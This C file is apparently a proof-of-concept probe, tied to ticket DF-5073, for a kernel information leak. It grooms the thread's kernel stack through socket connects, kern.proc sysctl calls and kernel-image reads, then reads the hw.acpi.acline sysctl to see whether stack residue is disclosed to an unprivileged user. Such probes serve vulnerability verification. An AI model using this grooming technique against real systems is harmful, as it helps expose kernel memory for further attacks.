/*
 * DF-5073 groom: dirty THIS thread's kernel stack with deep, pointer-rich
 * call chains (socket/connect, kern.proc sysctl, filesystem read), then
 * immediately read hw.acpi.acline via the same thread.  If the value
 * changes (or becomes nonzero), the sysctl is disclosing live kernel
 * stack residue from the groom to an unprivileged user.
 *
 * Build:  cc -O -o groom groom.c
 * Run:    ./groom
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

static int
read_acline(void)
{
	int val = -2, mib[CTL_MAXNAME];
	size_t miblen = sizeof(mib), vlen = sizeof(val);

	if (sysctlnametomib("hw.acpi.acline", mib, &miblen) != 0) {
		perror("sysctlnametomib");
		return (-2);
	}
	if (sysctl(mib, miblen, &val, &vlen, NULL, 0) != 0) {
		perror("sysctl");
		return (-3);
	}
	return (val);
}

static void
groom_socket(void)
{
	struct sockaddr_in sin;
	int s = socket(AF_INET, SOCK_STREAM, 0);

	if (s < 0)
		return;
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(22);
	sin.sin_addr.s_addr = htonl(0x7f000001);
	/* result irrelevant; the TCP connect path is what dirties the kstack */
	connect(s, (struct sockaddr *)&sin, sizeof(sin));
	close(s);
}

static void
groom_kernproc(void)
{
	size_t len = 1 << 20;
	char *buf = malloc(len);
	int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };

	if (buf == NULL)
		return;
	for (int i = 0; i < 8; i++)
		sysctl(mib, 4, buf, &len, NULL, 0);
	free(buf);
}

static void
groom_fsread(void)
{
	char buf[8192];
	int fd = open("/kernel", O_RDONLY);

	if (fd < 0)
		fd = open("/boot/kernel/kernel", O_RDONLY);
	if (fd < 0)
		return;
	for (int i = 0; i < 32; i++)
		read(fd, buf, sizeof(buf));
	close(fd);
}

int
main(void)
{
	int i, v;

	printf("user: uid=%d euid=%d\n", getuid(), geteuid());
	v = read_acline();
	printf("baseline                : acline=%d (0x%08x)\n", v, v);

	for (i = 0; i < 6; i++) {
		groom_socket();
		v = read_acline();
		printf("iter %d after socket    : acline=%d (0x%08x)\n", i, v, v);
	}
	for (i = 0; i < 6; i++) {
		groom_kernproc();
		v = read_acline();
		printf("iter %d after kern.proc : acline=%d (0x%08x)\n", i, v, v);
	}
	for (i = 0; i < 6; i++) {
		groom_fsread();
		v = read_acline();
		printf("iter %d after fs read   : acline=%d (0x%08x)\n", i, v, v);
	}
	return (0);
}
